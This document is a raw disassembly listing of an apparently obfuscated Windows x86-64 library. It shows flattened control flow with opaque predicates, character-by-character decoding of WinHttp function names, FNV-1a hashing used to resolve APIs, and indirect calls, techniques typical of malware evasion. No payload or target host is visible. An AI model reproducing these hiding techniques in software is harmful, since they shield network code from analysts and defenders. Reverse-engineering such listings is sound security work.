cmovne ebx, esi
jmp 0x1800baf10
mov ebx, esi
cmp esi, 0x77e83219
jne 0x1800baf10
mov rcx, qword [rsp + 0x70]
call fcn.1800e9be0
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x90]
mov r8d, 0xffffffff
mov r9d, 0xa0000000
call rax
mov eax, 0xcbaef6d0
lea r14, [rsp + 0x298]
jmp 0x1800b0630
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 7], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
nop
cmp edx, 0xeae3817
je 0x1800bbe0f
cmp edx, 0xdfbe209
jne 0x1800bb2f0
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800bb33b
cmp edx, 0x698c8bdd
jne 0x1800bb320
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800bb320
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x61
mov edx, 0xeae3817
jmp 0x1800bb2f0
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0xa], dx
mov edx, 0x66a53b08
nop
cmp edx, 0x45c64127
je 0x1800bbe35
cmp edx, 0x66a53b08
jne 0x1800bb370
mov ecx, 0x32175fe9
nop dword [rax]
cmp ecx, 0x32175fe9
je 0x1800bb3a2
cmp ecx, 0x9dbef50
jne 0x1800bb390
jmp 0x1800bb3a9
mov ecx, 0x9dbef50
jmp 0x1800bb390
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bb370
mov rax, qword [rsp + 0x70]
movzx eax, word [rax]
mov ecx, dword [0x180129880]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x54]
mov ecx, dword [0x180129884]
mov ebp, 0x117a5aa2
mov edx, 0xc93ff860
cmove ebp, edx
cmp ecx, 0xa
setl byte [rsp + 0x68]
cmovl ebp, edx
mov ecx, 0xe371ccc2
nop dword [rax + rax]
cmp ecx, 0x117a5aa1
jle 0x1800bb450
cmp ecx, 0x117a5aa2
je 0x1800bb46c
cmp ecx, 0x352435fc
je 0x1800bb473
cmp ecx, 0x36430429
jne 0x1800bb420
jmp 0x1800bbec9
cmp ecx, 0xc93ff860
je 0x1800bb499
cmp ecx, 0xe371ccc2
je 0x1800bb4a0
cmp ecx, 0x369743b
jne 0x1800bb420
mov ecx, ebp
jmp 0x1800bb420
mov ecx, 0x369743b
jmp 0x1800bb420
mov ecx, 0x1c61ffe1
nop dword [rax + rax]
cmp ecx, 0x1c61ffe1
je 0x1800bb492
cmp ecx, 0xe0743747
jne 0x1800bb480
jmp 0x1800bb4c0
mov ecx, 0xe0743747
jmp 0x1800bb480
mov ecx, 0x352435fc
jmp 0x1800bb420
mov bl, byte [rsp + 0x54]
cmp byte [rsp + 0x68], 0
mov ecx, 0x117a5aa2
mov edi, 0x369743b
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x1800bb420
mov dword [rsp + 0x58], 6
mov edx, dword [rsp + 0x58]
mov ecx, 0x36430429
jmp 0x1800bb420
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], edx
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
mov word [r8 + 6], ax
mov word [r8 + 8], 0
lea rcx, [rsp + 0x1a8]
call fcn.1800c20f0
lea rcx, [rsp + 0x2d0]
mov rdx, rax
call fcn.1800ae920
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x68], r14
mov rax, qword [rsp + 0x68]
mov byte [rax], 0x43
mov rsi, qword [rsp + 0x68]
mov rcx, r14
mov dl, 0x57
xor r8d, r8d
call fcn.1800c3ab0
mov byte [rsi + 1], al
mov r8d, 1
mov rcx, r14
mov dl, 0x69
call fcn.1800c3ab0
mov byte [rsi + 2], al
mov r8d, 2
mov rcx, r14
mov dl, 0x6e
call fcn.1800c3ab0
mov byte [rsi + 3], al
mov r8d, 3
mov rcx, r14
mov dl, 0x48
call fcn.1800c3ab0
mov byte [rsi + 4], al
mov r8d, 4
mov rcx, r14
mov dl, 0x74
call fcn.1800c3ab0
mov byte [rsi + 5], al
mov r8d, 5
mov rcx, r14
mov dl, 0x74
call fcn.1800c3ab0
mov byte [rsi + 6], al
mov r8d, 6
mov rcx, r14
mov dl, 0x70
call fcn.1800c3ab0
mov byte [rsi + 7], al
mov r8d, 7
mov rcx, r14
mov dl, 0x41
call fcn.1800c3ab0
mov byte [rsi + 8], al
mov r8d, 8
mov rcx, r14
mov dl, 0x64
call fcn.1800c3ab0
mov byte [rsi + 9], al
mov r8d, 9
mov rcx, r14
mov dl, 0x64
call fcn.1800c3ab0
mov byte [rsi + 0xa], al
mov r8d, 0xa
mov rcx, r14
mov dl, 0x52
call fcn.1800c3ab0
mov byte [rsi + 0xb], al
mov r8d, reloc.WS2_32.dll_inet_addr
mov rcx, r14
mov dl, 0x65
call fcn.1800c3ab0
mov byte [rsi + 0xc], al
mov r8d, 0xc
mov rcx, r14
mov dl, 0x71
call fcn.1800c3ab0
mov byte [rsi + 0xd], al
mov r8d, 0xd
mov rcx, r14
mov dl, 0x75
call fcn.1800c3ab0
mov byte [rsi + 0xe], al
mov r8d, 0xe
mov rcx, r14
mov dl, 0x65
call fcn.1800c3ab0
mov byte [rsi + 0xf], al
mov r8d, 0xf
mov rcx, r14
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c3ab0
mov byte [rsi + 0x10], al
mov r8d, 0x10
mov rcx, r14
mov dl, 0x74
call fcn.1800c3ab0
mov byte [rsi + 0x11], al
mov r8d, 0x11
mov rcx, r14
mov dl, 0x48
call fcn.1800c3ab0
mov byte [rsi + 0x12], al
mov r8d, socket
mov rcx, r14
mov dl, 0x65
call fcn.1800c3ab0
mov byte [rsi + 0x13], al
add rsi, 0x14
mov qword [rsp + 0x60], rsi
mov r8d, socket
mov rcx, r14
mov dl, 0x61
call fcn.1800c3ab0
mov byte [rsp + 0x80], al
mov eax, 0x27ec2ed4
jmp 0x1800bb6e5
mov qword [rsp + 0x70], rsi
mov eax, dword [0x180129780]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x56f16ae8
mov ecx, 0xb75b3ef4
cmove eax, ecx
cmp dword [0x180129784], 0xa
cmovl eax, ecx
cmp eax, 0x1e3ba5b
jle 0x1800bb730
cmp eax, 0x1d3023e7
jle 0x1800bb7a0
cmp eax, 0x1d3023e8
je 0x1800bb6ba
cmp eax, 0x56f16ae8
je 0x1800bb887
cmp eax, 0x27ec2ed4
jne 0x1800bb6e5
mov eax, dword [0x180129780]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e3ba5c
mov ecx, 0x18ad4d0c
jmp 0x1800bb6d8
cmp eax, 0xbe827434
jg 0x1800bb850
cmp eax, 0x891dc9b6
je 0x1800bb8a3
cmp eax, 0xb75b3ef4
jne 0x1800bb933
mov rax, qword [rsp + 0x70]
mov byte [rax], 0
mov rax, qword [rsp + 0x70]
add rax, 1
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
cmp rcx, rax
sete byte [rsp + 0x54]
mov eax, dword [0x180129780]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x56f16ae8
mov ecx, 0x891dc9b6
jmp 0x1800bb6d8
cmp eax, 0x1e3ba5c
je 0x1800bb8bf
cmp eax, 0x18ad4d0c
jne 0x1800bb6e5
mov rax, qword [rsp + 0x60]
movzx ecx, byte [rsp + 0x80]
mov byte [rax], cl
mov rdi, qword [rsp + 0x60]
mov r8d, socket
mov rcx, r14
mov dl, 0x64
call fcn.1800c3ab0
mov byte [rdi + 1], al
mov r8d, socket
mov rcx, r14
mov dl, 0x65
call fcn.1800c3ab0
mov byte [rdi + 2], al
mov r8d, socket
mov rcx, r14
mov dl, WSAStartup
call fcn.1800c3ab0
mov byte [rdi + 3], al
add rdi, 4
mov qword [rsp + 0x58], rdi
mov r8d, reloc.WS2_32.dll_socket
mov rcx, r14
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c3ab0
mov rcx, qword [rsp + 0x58]
mov byte [rcx], al
mov eax, dword [0x180129780]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e3ba5c
mov ecx, 0xbe827435
jmp 0x1800bb6d8
cmp eax, 0xbe827435
je 0x1800bb929
cmp eax, 0xfe839012
jne 0x1800bb6e5
mov rsi, qword [rsp + 0x58]
add rsi, 1
mov rax, qword [rsp + 0x68]
add rax, 0x1a
mov qword [rsp + 0x48], rax
mov eax, 0x1d3023e8
jmp 0x1800bb6e5
mov rax, qword [rsp + 0x70]
mov byte [rax], 0
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x48]
mov eax, 0xb75b3ef4
jmp 0x1800bb6e5
cmp byte [rsp + 0x54], 0
mov eax, 0x1d3023e8
mov ecx, 0xa18e4980
cmovne eax, ecx
mov rsi, qword [rsp + 0x40]
jmp 0x1800bb6e5
mov rax, qword [rsp + 0x60]
movzx ecx, byte [rsp + 0x80]
mov byte [rax], cl
mov rdi, qword [rsp + 0x60]
mov r8d, socket
mov rcx, r14
mov dl, 0x64
call fcn.1800c3ab0
mov byte [rdi + 1], al
mov r8d, socket
mov rcx, r14
mov dl, 0x65
call fcn.1800c3ab0
mov byte [rdi + 2], al
mov r8d, socket
mov rcx, r14
mov dl, WSAStartup
call fcn.1800c3ab0
mov byte [rdi + 3], al
mov r8d, reloc.WS2_32.dll_socket
mov rcx, r14
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c3ab0
mov byte [rdi + 4], al
mov eax, 0x18ad4d0c
jmp 0x1800bb6e5
mov eax, 0xfe839012
jmp 0x1800bb6e5
cmp eax, 0xa18e4980
jne 0x1800bb6e5
mov rcx, r14
call fcn.1800c2320
mov ecx, dword [0x1801294f8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801294fc], 0xa
setl dl
or dl, cl
mov r8d, 0x6b3afa7f
mov ecx, 0xd9a22da7
cmovne r8d, ecx
mov r9d, 0x6b3afa7f
mov ecx, 0xa024a977
cmovne r9d, ecx
mov r14d, 0xa01aa426
mov ecx, 0x95eaf0dc
cmovne r14d, ecx
mov r12d, 0xa01aa426
mov ecx, 0x9aca454
cmovne r12d, ecx
mov ebx, 0x96d144b1
jmp 0x1800bb9d0
movsxd rcx, r10d
xor rcx, qword [rsp + 0x70]
movabs rdx, 0x100000001b3
imul rcx, rdx
mov edx, dword [rsp + 0x48]
add edx, 1
mov ebx, 0x126ae241
nop dword [rax]
mov esi, ebx
cmp ebx, 0x9aca453
jle 0x1800bba30
cmp esi, 0x4bacb182
jle 0x1800bba80
cmp esi, 0x5751c9b6
jle 0x1800bbb1c
cmp esi, 0x77e83218
jg 0x1800bbc0e
cmp esi, 0x5751c9b7
je 0x1800bbc30
mov ebx, esi
cmp esi, 0x6b3afa7f
jne 0x1800bb9d0
mov esi, dword [rsp + 0x68]
mov esi, dword [rsp + 0x68]
mov ebx, 0xa024a977
jmp 0x1800bb9d0
cmp esi, 0xba417c88
jg 0x1800bbae0
cmp esi, 0xa024a976
jg 0x1800bbb5a
cmp esi, 0x95eaf0dc
je 0x1800bbc3a
cmp esi, 0x96d144b1
je 0x1800bbc49
mov ebx, esi
cmp esi, 0xa01aa426
jne 0x1800bb9d0
mov ebx, 0x9aca454
jmp 0x1800bb9d0
cmp esi, 0x140ee926
jg 0x1800bbb99
mov ebx, r14d
cmp esi, 0x9aca454
je 0x1800bb9d0
cmp esi, 0x11a33ffd
je 0x1800bbc53
mov ebx, esi
cmp esi, 0x126ae241
jne 0x1800bb9d0
mov dword [rsp + 0x48], edx
mov qword [rsp + 0x70], rcx
mov esi, dword [rsp + 0x58]
mov ebx, dword [rsp + 0x48]
cmp ebx, esi
mov ebx, 0x77e83219
mov esi, 0x22a3f0a1
cmovb ebx, esi
jmp 0x1800bb9d0
cmp esi, 0xdaa262c9
jg 0x1800bbbd6
cmp esi, 0xba417c89
je 0x1800bb9a7
cmp esi, 0xc68ca180
je 0x1800bbc60
mov ebx, esi
cmp esi, 0xd9a22da7
jne 0x1800bb9d0
mov ebx, 0xf648bac2
jmp 0x1800bb9d0
cmp esi, 0x4bacb183
je 0x1800bbc90
mov ebx, r9d
cmp esi, 0x52c11306
je 0x1800bb9d0
mov ebx, esi
cmp esi, 0x568f1370
jne 0x1800bb9d0
mov esi, dword [rsp + 0x58]
add esi, 1
mov dword [rsp + 0x54], esi
mov ebx, 0xdaa262ca
jmp 0x1800bb9d0
cmp esi, 0xa024a977
je 0x1800bbca6
cmp esi, 0xb3dd72df
je 0x1800bbcec
mov ebx, esi
cmp esi, 0xb78226fb
jne 0x1800bb9d0
mov esi, dword [rsp + 0x80]
cmp esi, 0x7f
setl byte [rsp + 0x7f]
mov ebx, 0xee7ccbb7
jmp 0x1800bb9d0
cmp esi, 0x140ee927
je 0x1800bbd11
cmp esi, 0x22a3f0a1
je 0x1800bbd20
mov ebx, esi
cmp esi, 0x38d2119f
jne 0x1800bb9d0
cmp byte [rsp + 0x7e], 0
mov ebx, 0x140ee927
mov esi, 0x52c11306
cmovne ebx, esi
jmp 0x1800bb9d0
mov ebx, r12d
cmp esi, 0xdaa262ca
je 0x1800bb9d0
cmp esi, 0xee7ccbb7
je 0x1800bbd36
mov ebx, esi
cmp esi, 0xf648bac2
jne 0x1800bb9d0
mov ebx, 0xba417c89
mov r10d, dword [rsp + 0x60]
jmp 0x1800bb9d0
cmp esi, 0x7f221d67
jne 0x1800bbd4d
mov esi, dword [rsp + 0x68]
cmp esi, 0x5b
setl byte [rsp + 0x7e]
mov ebx, 0x38d2119f
jmp 0x1800bb9d0
mov ebx, 0x4bacb183
jmp 0x1800bb9d0
mov ebx, 0xc68ca180
mov r11d, dword [rsp + 0x54]
jmp 0x1800bb9d0
mov ebx, 0x11a33ffd
jmp 0x1800bb9d0
mov ebx, 0xc68ca180
xor r11d, r11d
jmp 0x1800bb9d0
mov dword [rsp + 0x58], r11d
mov esi, dword [rsp + 0x58]
movsx esi, byte [rax + rsi]
mov dword [rsp + 0x80], esi
mov esi, dword [rsp + 0x80]
cmp esi, 0x20
mov ebx, 0x5751c9b7
mov esi, 0xb78226fb
cmovge ebx, esi
jmp 0x1800bb9d0
mov ebx, 0x126ae241
xor edx, edx
movabs rcx, 0xcbf29ce484222325
jmp 0x1800bb9d0
mov esi, dword [rsp + 0x68]
mov ebx, esi
not ebx
mov ebp, esi
and ebp, 0x4048890
mov edi, ebx
and edi, 0x9021040a
or edi, ebp
mov ebp, esi
and ebp, 0x6bda7345
and ebx, 0x20
or ebx, 0x6b822240
xor ebx, ebp
or ebx, edi
and esi, 0x20
or esi, 0xfba3264a
xor esi, ebx
mov dword [rsp + 0x60], esi
mov ebx, r8d
jmp 0x1800bb9d0
mov rsi, qword [rsp + 0x40]
movsx esi, byte [rsi]
mov dword [rsp + 0x68], esi
mov esi, dword [rsp + 0x68]
cmp esi, 0x41
mov ebx, 0x140ee927
mov esi, 0x7f221d67
cmovge ebx, esi
jmp 0x1800bb9d0
mov ebx, 0xba417c89
mov r10d, dword [rsp + 0x68]
jmp 0x1800bb9d0
mov esi, dword [rsp + 0x48]
add rsi, rax
mov qword [rsp + 0x40], rsi
mov ebx, 0xb3dd72df
jmp 0x1800bb9d0
cmp byte [rsp + 0x7f], 0
mov ebx, 0x5751c9b7
mov esi, 0x568f1370
cmovne ebx, esi
jmp 0x1800bb9d0
mov ebx, esi
cmp esi, 0x77e83219
jne 0x1800bb9d0
mov rcx, qword [rsp + 0x70]
call fcn.1800e9be0
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x90]
mov r8d, 0xffffffff
mov r9d, 0xa0000000
call rax
test eax, eax
sete byte [rsp + 0x8d]
mov eax, dword [0x180129718]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x29025825
mov ecx, 0x4e3f98e0
cmove eax, ecx
cmp dword [0x18012971c], 0xa
cmovl eax, ecx
lea r14, [rsp + 0x298]
jmp 0x1800b0630
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 8], cl
mov byte [rax + 9], 0
lea rcx, [rsp + 0x150]
call fcn.1800c29a0
mov qword [rsp + 0x140], rax
mov eax, dword [0x180129718]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x17b9f3e3
mov ecx, 0x65061f7
cmove eax, ecx
cmp dword [0x18012971c], 0xa
cmovl eax, ecx
jmp 0x1800b0630
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 8], cl
mov byte [rax + 9], 0
lea rcx, [rsp + 0x150]
call fcn.1800c29a0
mov eax, 0x8079cb10
jmp 0x1800b0630
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0xc], dx
mov edx, 0x66a53b08
nop word [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc211
cmp edx, 0x66a53b08
jne 0x1800bbe60
mov ecx, 0x32175fe9
nop dword [rax]
cmp ecx, 0x32175fe9
je 0x1800bbe92
cmp ecx, 0x9dbef50
jne 0x1800bbe80
jmp 0x1800bbe99
mov ecx, 0x9dbef50
jmp 0x1800bbe80
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bbe60
mov dword [rsp + 0x58], eax
mov word [rsp + 0x60], dx
movzx eax, word [rsp + 0x60]
mov ecx, dword [rsp + 0x58]
add cx, ax
mov rax, qword [rsp + 0x40]
mov word [rax], cx
mov rax, qword [rsp + 0x40]
mov word [rax + 2], 0
mov rcx, r14
call fcn.1800c1790
lea rcx, [rsp + 0x2d0]
mov rdx, rax
call fcn.1800ae920
lea rdi, [rsp + 0x258]
mov qword [rsp + 0xd8], rdi
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x60], rdi
mov rax, qword [rsp + 0x60]
mov byte [rax], 0x3c
mov rsi, qword [rsp + 0x60]
mov rcx, rdi
mov dl, 0x57
call fcn.1800c3810
mov byte [rsi + 1], al
mov rcx, rdi
mov dl, 0x69
call fcn.1800c3810
mov byte [rsi + 2], al
mov rcx, rdi
mov dl, 0x6e
call fcn.1800c3810
mov byte [rsi + 3], al
mov rcx, rdi
mov dl, 0x48
call fcn.1800c3810
mov byte [rsi + 4], al
add rsi, 5
mov qword [rsp + 0x58], rsi
mov rcx, rdi
mov dl, 0x74
call fcn.1800c3810
mov byte [rsp + 0x54], al
mov eax, 0x4637b0c7
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x369ab414
jle 0x1800bc080
cmp eax, 0x4637b0c6
jg 0x1800bc0d0
cmp eax, 0x369ab415
je 0x1800bc17a
cmp eax, 0x3fe0fc9e
jne 0x1800bbf90
lea rdi, [rsp + 0x258]
mov rcx, rdi
mov dl, 0x75
call fcn.1800c3810
mov rcx, qword [rsp + 0x48]
mov byte [rcx], al
mov rsi, qword [rsp + 0x48]
mov rcx, rdi
mov dl, 0x65
call fcn.1800c3810
mov byte [rsi + 1], al
mov rcx, rdi
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c3810
mov byte [rsi + 2], al
mov rcx, rdi
mov dl, 0x74
call fcn.1800c3810
mov byte [rsi + 3], al
mov rcx, rdi
mov dl, 0x48
call fcn.1800c3810
mov byte [rsi + 4], al
mov rcx, rdi
mov dl, 0x65
call fcn.1800c3810
mov byte [rsi + 5], al
mov rcx, rdi
mov dl, 0x61
call fcn.1800c3810
mov byte [rsi + 6], al
mov rcx, rdi
mov dl, 0x64
call fcn.1800c3810
mov byte [rsi + 7], al
mov rcx, rdi
mov dl, 0x65
call fcn.1800c3810
mov byte [rsi + 8], al
mov rcx, rdi
mov dl, WSAStartup
call fcn.1800c3810
mov byte [rsi + 9], al
mov rcx, rdi
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c3810
mov byte [rsi + 0xa], al
add rsi, 0xb
mov rax, qword [rsp + 0x60]
add rax, 0x1a
mov qword [rsp + 0x40], rax
mov eax, 0x2ff64e0e
jmp 0x1800bbf90
cmp eax, 0xa1161f80
je 0x1800bc2a9
cmp eax, 0xa430eab9
je 0x1800bc196
cmp eax, 0x2ff64e0e
jne 0x1800bbf90
mov qword [rsp + 0x298], rsi
mov eax, dword [0x180129610]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa430eab9
mov ecx, 0x5693d1a1
jmp 0x1800bc1ff
cmp eax, 0x5693d1a1
je 0x1800bc1b8
cmp eax, 0x4637b0c7
jne 0x1800bbf90
mov rax, qword [rsp + 0x58]
movzx ecx, byte [rsp + 0x54]
mov byte [rax], cl
mov rdi, qword [rsp + 0x58]
lea rbx, [rsp + 0x258]
mov rcx, rbx
mov dl, 0x74
call fcn.1800c3810
mov byte [rdi + 1], al
mov rcx, rbx
mov dl, 0x70
call fcn.1800c3810
mov byte [rdi + 2], al
mov rcx, rbx
mov dl, 0x41
call fcn.1800c3810
mov byte [rdi + 3], al
mov rcx, rbx
mov dl, 0x64
call fcn.1800c3810
mov byte [rdi + 4], al
mov rcx, rbx
mov dl, 0x64
call fcn.1800c3810
mov byte [rdi + 5], al
mov rcx, rbx
mov dl, 0x52
call fcn.1800c3810
mov byte [rdi + 6], al
mov rcx, rbx
mov dl, 0x65
call fcn.1800c3810
mov byte [rdi + 7], al
mov rcx, rbx
mov dl, 0x71
call fcn.1800c3810
mov byte [rdi + 8], al
add rdi, 9
mov qword [rsp + 0x48], rdi
mov eax, 0x3fe0fc9e
jmp 0x1800bbf90
cmp byte [rsp + 0x68], 0
mov eax, 0x2ff64e0e
mov ecx, 0xa1161f80
cmovne eax, ecx
mov rsi, qword [rsp + 0x70]
jmp 0x1800bbf90
mov rax, qword [rsp + 0x298]
mov byte [rax], 0
mov rax, qword [rsp + 0x298]
mov rax, qword [rsp + 0x40]
mov eax, 0x5693d1a1
jmp 0x1800bbf90
mov rax, qword [rsp + 0x298]
mov byte [rax], 0
mov rax, qword [rsp + 0x298]
add rax, 1
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
cmp rcx, rax
sete byte [rsp + 0x68]
mov eax, dword [0x180129610]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa430eab9
mov ecx, 0x369ab415
cmove eax, ecx
cmp dword [0x180129614], 0xa
cmovl eax, ecx
jmp 0x1800bbf90
mov dword [rsp + 0x40], 0x69
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0xe], dx
mov edx, 0x66a53b08
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x45c64127
je 0x1800bc2b3
cmp edx, 0x66a53b08
jne 0x1800bc240
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc272
cmp ecx, 0x9dbef50
jne 0x1800bc260
jmp 0x1800bc279
mov ecx, 0x9dbef50
jmp 0x1800bc260
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc240
mov eax, 0x6aa2b367
jmp 0x1800b0630
mov dword [rsp + 0x40], 0x63
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x10], dx
mov edx, 0x66a53b08
nop word cs:[rax + rax]
nop
cmp edx, 0x45c64127
je 0x1800bc349
cmp edx, 0x66a53b08
jne 0x1800bc2e0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc312
cmp ecx, 0x9dbef50
jne 0x1800bc300
jmp 0x1800bc319
mov ecx, 0x9dbef50
jmp 0x1800bc300
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc2e0
mov dword [rsp + 0x40], 0x61
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x12], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc3d9
cmp edx, 0x66a53b08
jne 0x1800bc370
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc3a2
cmp ecx, 0x9dbef50
jne 0x1800bc390
jmp 0x1800bc3a9
mov ecx, 0x9dbef50
jmp 0x1800bc390
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc370
mov dword [rsp + 0x40], 0x74
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x14], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc469
cmp edx, 0x66a53b08
jne 0x1800bc400
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc432
cmp ecx, 0x9dbef50
jne 0x1800bc420
jmp 0x1800bc439
mov ecx, 0x9dbef50
jmp 0x1800bc420
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc400
mov dword [rsp + 0x40], 0x69
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x16], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc4f9
cmp edx, 0x66a53b08
jne 0x1800bc490
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc4c2
cmp ecx, 0x9dbef50
jne 0x1800bc4b0
jmp 0x1800bc4c9
mov ecx, 0x9dbef50
jmp 0x1800bc4b0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc490
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x18], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc589
cmp edx, 0x66a53b08
jne 0x1800bc520
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc552
cmp ecx, 0x9dbef50
jne 0x1800bc540
jmp 0x1800bc559
mov ecx, 0x9dbef50
jmp 0x1800bc540
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc520
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x1a], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc619
cmp edx, 0x66a53b08
jne 0x1800bc5b0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc5e2
cmp ecx, 0x9dbef50
jne 0x1800bc5d0
jmp 0x1800bc5e9
mov ecx, 0x9dbef50
jmp 0x1800bc5d0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
